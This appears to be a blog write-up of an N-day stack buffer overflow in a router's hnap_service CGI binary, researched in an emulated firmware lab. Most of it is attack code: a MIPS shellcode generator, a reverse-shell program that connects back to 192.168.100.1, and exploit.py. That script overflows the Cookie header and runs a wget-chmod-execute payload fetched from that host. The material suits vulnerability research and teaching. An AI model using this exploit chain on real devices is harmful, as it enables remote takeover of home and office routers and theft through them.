This exploit was developed in EMUX firmware emulation framework where target is build in.

  • Vulnerability type: Stack buffer overflow
  • Tested firmware version: 1.06
  • Exploit mitigations: None
  • Executable: /web/cgi-bin/hnap/hnap_service
  • Function reported: sub_402280
  • Real function: sub_401f5c, strcpy at 0x402230

Tools Link to heading

Research Link to heading

This N-day vulnerability was reported for newer firmware version so we must do research for right vulnerable function. When we search for vulnerable function address 0x402280 in Binary Ninja, we land in the middle of function sub_401f5c.

Deeper investigation reveals many vulnerable strcpy functions that move data from environment variables to buffer. In this case we are interested especially in COOKIE variable.

Binary Ninja
COOKIE value ($v0_7) is checked and then it's copied to the buffer using vulnerable strcpy function. Binary Ninja plugin (VulnFanatic) has also flagged this strcpy as informatic. We can also see that we need set HNAP_AUTH and SOAP_ACTION variables.

Now we have information about problematic function but we need also PoC script that leads to that function and crashes the program. Using Binary Ninja we can check which functions call vulnerable function and only calling function is main. When we investigate main, we notice that program needs couple of more environment variables.

Binary Ninja
REQUEST_METHOD needs to be "POST" in our case.
Binary Ninja
SOAP_ACTION and CONTENT_LENGTH need to be set so that function can be reached.

We also need dummy soap body that program reads from stdin. Otherwise program crashes. Usually httpd program at the background handles web requests and stores variables but in this case when we are testing only vulnerable cgi binary, we need to export all environment variables manually.

#!/bin/sh

export REQUEST_METHOD="POST"
export CONTENT_LENGTH="200"
export SOAP_ACTION="http://purenetworks.com/HNAP1/GetDeviceSettings"
export COOKIE="uid=Admin;$1"
export HNAP_AUTH="validhash 12345678"
# Execute the binary
/web/cgi-bin/hnap/hnap_service < /tmp/soap.xml

soap.xml

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"></GetDeviceSettings>
  </soap:Body>
</soap:Envelope>

Then we can run our script inside gdbserver in target system and debug it using gdb-multiarch

Inside EMUX target:

./gdbserver_mipsbe :1234 ./wrapper.sh <A*200 times>

Inside EMUX docker:

gdb-multiarch  -ex "set architecture mips" -ex "set mips abi o32" -ex "set follow-fork-mode child" -ex "set detach-on-fork off" -ex "catch exec" -ex "run" -ex "target remote 192.168.100.2:1234"
Binary Ninja
We should get a crash and ra register should be filled with A's (0x41). It means we control the program flow.

Exploit Link to heading

Now we have working PoC that crashes and controls ra (return address) register. Next we check what we can do with this buffer overflow. GDB’s info proc mappings command after crash reveals that program has writable and executable stack so we should have easy time to write an exploit.

(gdb) info proc mappings
process 22688
Mapped address spaces:

Start Addr   End Addr       Size     Offset  Perms   objfile
0x400000   0x418000    0x18000        0x0  r-xp   /web/cgi-bin/hnap/hnap_service
0x427000   0x428000     0x1000    0x17000  rw-p   /web/cgi-bin/hnap/hnap_service
0x428000   0x42a000     0x2000        0x0  rwxp   [heap]
0x2aaa8000 0x2aaad000     0x5000        0x0  r-xp   /lib/ld-uClibc-0.9.30.3.so
0x2aaad000 0x2aaae000     0x1000        0x0  rw-p
0x2aaaf000 0x2aab0000     0x1000        0x0  rw-p
0x2aabc000 0x2aabd000     0x1000     0x4000  r--p   /lib/ld-uClibc-0.9.30.3.so
0x2aabd000 0x2aabe000     0x1000     0x5000  rw-p   /lib/ld-uClibc-0.9.30.3.so
0x2aabe000 0x2aac1000     0x3000        0x0  r-xp   /usr/lib/libUserConfig.so
0x2aac1000 0x2aad0000     0xf000        0x0  ---p
0x2aad0000 0x2aad9000     0x9000     0x2000  rw-p   /usr/lib/libUserConfig.so
0x2aad9000 0x2aada000     0x1000        0x0  r-xp   /usr/lib/libSemafor.so
0x2aada000 0x2aae9000     0xf000        0x0  ---p
0x2aae9000 0x2aaea000     0x1000        0x0  rw-p   /usr/lib/libSemafor.so
0x2aaea000 0x2aaeb000     0x1000        0x0  r-xp   /usr/lib/libShareInfo.so
0x2aaeb000 0x2aafa000     0xf000        0x0  ---p
0x2aafa000 0x2aafb000     0x1000        0x0  rw-p   /usr/lib/libShareInfo.so
0x2aafb000 0x2aafd000     0x2000        0x0  r-xp   /usr/lib/libMsgctrl.so
0x2aafd000 0x2ab0c000     0xf000        0x0  ---p
0x2ab0c000 0x2ab0d000     0x1000     0x1000  rw-p   /usr/lib/libMsgctrl.so
0x2ab0d000 0x2ab1d000    0x10000        0x0  r-xp   /usr/lib/libweb.so.0
0x2ab1d000 0x2ab1e000     0x1000    0x10000  rw-p   /usr/lib/libweb.so.0
0x2ab1e000 0x2ab23000     0x5000        0x0  r-xp   /usr/lib/libcfg.so
0x2ab23000 0x2ab32000     0xf000        0x0  ---p
0x2ab32000 0x2ab33000     0x1000     0x4000  rw-p   /usr/lib/libcfg.so
0x2ab33000 0x2ab3c000     0x9000        0x0  r-xp   /usr/lib/libFVsystem.so
0x2ab3c000 0x2ab4c000    0x10000        0x0  ---p
0x2ab4c000 0x2ab4f000     0x3000     0x9000  rw-p   /usr/lib/libFVsystem.so
0x2ab4f000 0x2ab53000     0x4000        0x0  r-xp   /usr/lib/libFVnetwork.so
0x2ab53000 0x2ab62000     0xf000        0x0  ---p
0x2ab62000 0x2ab63000     0x1000     0x3000  rw-p   /usr/lib/libFVnetwork.so
0x2ab63000 0x2ab67000     0x4000        0x0  r-xp   /usr/lib/libnet.so.0
0x2ab67000 0x2ab77000    0x10000        0x0  ---p
0x2ab77000 0x2ab78000     0x1000     0x4000  rw-p   /usr/lib/libnet.so.0
0x2ab78000 0x2ab7c000     0x4000        0x0  r-xp   /usr/lib/libutl.so.0
0x2ab7c000 0x2ab8b000     0xf000        0x0  ---p
0x2ab8b000 0x2ab8c000     0x1000     0x3000  rw-p   /usr/lib/libutl.so.0
0x2ab8c000 0x2ab8d000     0x1000        0x0  r-xp   /usr/lib/libsitelist.so
0x2ab8d000 0x2ab9c000     0xf000        0x0  ---p
0x2ab9c000 0x2ab9d000     0x1000        0x0  rw-p   /usr/lib/libsitelist.so
0x2ab9d000 0x2ab9f000     0x2000        0x0  r-xp   /usr/lib/librtkmib.so
0x2ab9f000 0x2abaf000    0x10000        0x0  ---p
0x2abaf000 0x2abb0000     0x1000     0x2000  rw-p   /usr/lib/librtkmib.so
0x2abb0000 0x2abba000     0xa000        0x0  r-xp   /usr/lib/libixml.so.2.0.4
0x2abba000 0x2abca000    0x10000        0x0  ---p
0x2abca000 0x2abcb000     0x1000     0xa000  rw-p   /usr/lib/libixml.so.2.0.4
0x2abcb000 0x2abd8000     0xd000        0x0  r-xp   /lib/libpthread-0.9.30.3.so
0x2abd8000 0x2abe7000     0xf000        0x0  ---p
0x2abe7000 0x2abe8000     0x1000     0xc000  r--p   /lib/libpthread-0.9.30.3.so
0x2abe8000 0x2abe9000     0x1000     0xd000  rw-p   /lib/libpthread-0.9.30.3.so
0x2abe9000 0x2abef000     0x6000        0x0  rw-p
0x2abef000 0x2ac4f000    0x60000        0x0  r-xp   /lib/libuClibc-0.9.30.3.so
0x2ac4f000 0x2ac5e000     0xf000        0x0  ---p
0x2ac5e000 0x2ac5f000     0x1000    0x5f000  r--p   /lib/libuClibc-0.9.30.3.so
0x2ac5f000 0x2ac60000     0x1000    0x60000  rw-p   /lib/libuClibc-0.9.30.3.so
0x2ac60000 0x2ac65000     0x5000        0x0  rw-p
0x2ac65000 0x2ac77000    0x12000        0x0  r-xp   /lib/libgcc_s.so.1
0x2ac77000 0x2ac87000    0x10000        0x0  ---p
0x2ac87000 0x2ac88000     0x1000    0x12000  rw-p   /lib/libgcc_s.so.1
0x2ac88000 0x2ac8b000     0x3000        0x0  r-xp   /lib/libcrypt-0.9.30.3.so
0x2ac8b000 0x2ac9a000     0xf000        0x0  ---p
0x2ac9a000 0x2ac9b000     0x1000     0x2000  rw-p   /lib/libcrypt-0.9.30.3.so
0x2ac9b000 0x2acac000    0x11000        0x0  rw-p
0x7ffe3000 0x7fff8000    0x15000        0x0  rwxp   [stack] <--- READ,WRITE,EXEC

Exploitation plan:

  • find offset (pwntools’ cyclic tool)
  • write shellcode (wget + chmod + exec)
  • check right return address
  • write payload to COOKIE
  • profit?

Scripts Link to heading

find_mem.py

import gdb
import codecs

class FindMem(gdb.Command):
    """
    Search for a byte sequence across a large memory range, handling read errors.
    Usage: find_mem <start_addr> <end_addr> <pattern>
    Example: find_mem 0x7ffe3000 0x7fff8000 "wget"
    """
    def __init__(self):
        super(FindMem, self).__init__("find_mem", gdb.COMMAND_DATA)
                
    def invoke(self, arg, from_tty):
        args = gdb.string_to_argv(arg)
                
        if len(args) < 3:
            print("Usage: find_mem <start_addr> <end_addr> <pattern>")
            return
        try:
            start_addr = int(gdb.parse_and_eval(args[0]))
            end_addr = int(gdb.parse_and_eval(args[1]))
            raw_pattern = args[2]

            # Convert hex escape strings into actual bytes

            pattern = codecs.decode(raw_pattern, 'unicode_escape').encode('latin-1')
            inf = gdb.selected_inferior()
            total_size = end_addr - start_addr
            chunk_size = 4096  # Read page-by-page to avoid memory errors
            hits = 0
            print(f"[*] Searching for {pattern} ({len(pattern)} bytes)...")

            for addr in range(start_addr, end_addr, chunk_size):
                # Calculate remaining bytes to read in this chunk
                current_read_size = min(chunk_size + len(pattern), end_addr - addr)
                try:
                    mem = inf.read_memory(addr, current_read_size).tobytes()
                    offset = mem.find(pattern)
                    while offset != -1:
                        # Ensure we don't report a hit that bleeds past the end_addr
                        hit_addr = addr + offset
                        if hit_addr + len(pattern) <= end_addr:
                            print(f"[+] Found at: {hex(hit_addr)}")
                            hits += 1

                        offset = mem.find(pattern, offset + 1)
                    except gdb.MemoryError:
                    # Skip unmapped or protected pages
                    continue

            print(f"[*] Search finished. Total hits: {hits}")

        except Exception as e:
            print(f"[-] Error: {e}")
FindMem()

shellcode_generator.py


from pwn import asm, context, enhex

context.arch = "mips"
context.os = "linux"
context.endian = "big"

shellcode = """
/* --- 1. Get Zero and Base Pointer --- */
slti   $a2, $zero, -1       /* $a2 = 0 (envp) */
addiu  $t8, $sp, 0x1141     /* Base $t8 = $sp + 0x1141 */

/* --- 2. Store "/bin/sh" string (at sp+32) --- */
/* (sp + 4417) - 4385 = sp + 32 */
lui    $t1, 0x2f62
ori    $t1, $t1, 0x696e     /* "/bin" */
sw     $t1, -4385($t8)
lui    $t1, 0x2f73
ori    $t1, $t1, 0x682e     /* "/sh." */
sw     $t1, -4381($t8)
sb     $a2, -4378($t8)      /* Terminate -> "/bin/sh\0"*/

/* --- 3. Store "-c" string (at sp+40) --- */
li     $t1, 0x11ad
addiu  $t1, $t1, 0x1bb6     /* $t1 = 0x2d63 ("-c")*/
sh     $t1, -4377($t8)
sb     $a2, -4375($t8)      /* Terminate -> "-c\0" */

/* --- 4. Build Pointer Array (at sp+48) --- */
addiu  $a0, $t8, -4385      /* $a0 = ptr to "/bin/sh" */
sw     $a0, -4369($t8)      /* argv[0] */

addiu  $t1, $t8, -4377      /* $t1 = ptr to "-c" */
sw     $t1, -4365($t8)      /* argv[1]*/

/* Calculate pointer to wget command (sp + 216) */
/* (sp + 4417) + -4573 = ?. Offset: 0x44ab (No nulls!) */
addiu  $t1, $t8, -4573
/*sb     $a2, 17675($t8)      dummy */
sw     $t1, -4361($t8)      /* argv[2] */
sw     $a2, -4357($t8)      /* argv[3] = NULL */

/* --- 5. Final Syscall 4011 --- */
addiu  $a1, $t8, -4369      /* $a1 = argv pointer */
li     $v0, 0x112c
addiu  $v0, $v0, -385       /* $v0 = 4011 */
syscall 0x42424
"""

raw_shellcode = asm(shellcode)

print(enhex(raw_shellcode))

reverse_shell.c

/* 
Compile with: mips-linux-gnueabi-gcc -static reverse_shell.c -o reverse_shell
*/

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main() {
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4445); // Port for the actual shell
    addr.sin_addr.s_addr = inet_addr("192.168.100.1"); // Your IP

    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 1;

    // Direct redirection: Socket -> Stdin, Stdout, Stderr
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;
}

exploit.py


import struct
import requests

target_ip = "192.168.100.2"
url = f"http://{target_ip}/HNAP1/"
cmd = b"wget http://192.168.100.1/s -O /tmp/s;chmod +x /tmp/s;/tmp/s\x00"
shellcode = b"\x28\x06\xff\xff\x27\xb8\x11\x41\x3c\x09\x2f\x62\x35\x29\x69\x6e\xaf\x09\xee\xdf\x3c\x09\x2f\x73\x35\x29\x68\x2e\xaf\x09\xee\xe3\xa3\x06\xee\xe6\x24\x09\x11\xad\x25\x29\x1b\xb6\xa7\x09\xee\xe7\xa3\x06\xee\xe9\x27\x04\xee\xdf\xaf\x04\xee\xef\x27\x09\xee\xe7\xaf\x09\xee\xf3\x27\x09\xee\x23\xaf\x09\xee\xf7\xaf\x06\xee\xfb\x27\x05\xee\xef\x24\x02\x11\x2c\x24\x42\xfe\x7f\x01\x09\x09\x0c"


padding = b"A" * 162
ra = struct.pack(">I", 0x7FFF280C)
payload_1 = padding + ra
payload_2 = shellcode + cmd

headers = {
    "SOAPAction": payload_2,
    "Cookie": b"uid=Admin;" + payload_1,  # Triggering the strcpy at 004021b8
    "HNAP_AUTH": "valid_hash 12345678",  # Must exist to pass the 'if' at 004020f8
}

soap_body = """
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"></GetDeviceSettings>
  </soap:Body>
</soap:Envelope>
"""
try:
    requests.post(url, data=soap_body, headers=headers, timeout=5)
except requests.exceptions.ConnectionError:
    print("Target crashed! The overflow was successful.")

Helper scripts Link to heading

shellcode_convert.py

import sys

def to_escaped_hex(hex_string):
    # Ensure any stray spaces are gone
    hex_string = hex_string.replace(" ", "")
    # Prefix every two characters with \x
    escaped = "".join(
        [f"\\x{hex_string[i : i + 2]}" for i in range(0, len(hex_string), 2)]
    )
    return escaped[:-3]

if __name__ == "__main__":
    if not sys.stdin.isatty():
        input_data = sys.stdin.read()
        print(to_escaped_hex(input_data))
    else:
        print("Usage: echo <hex> | python3 convert.py")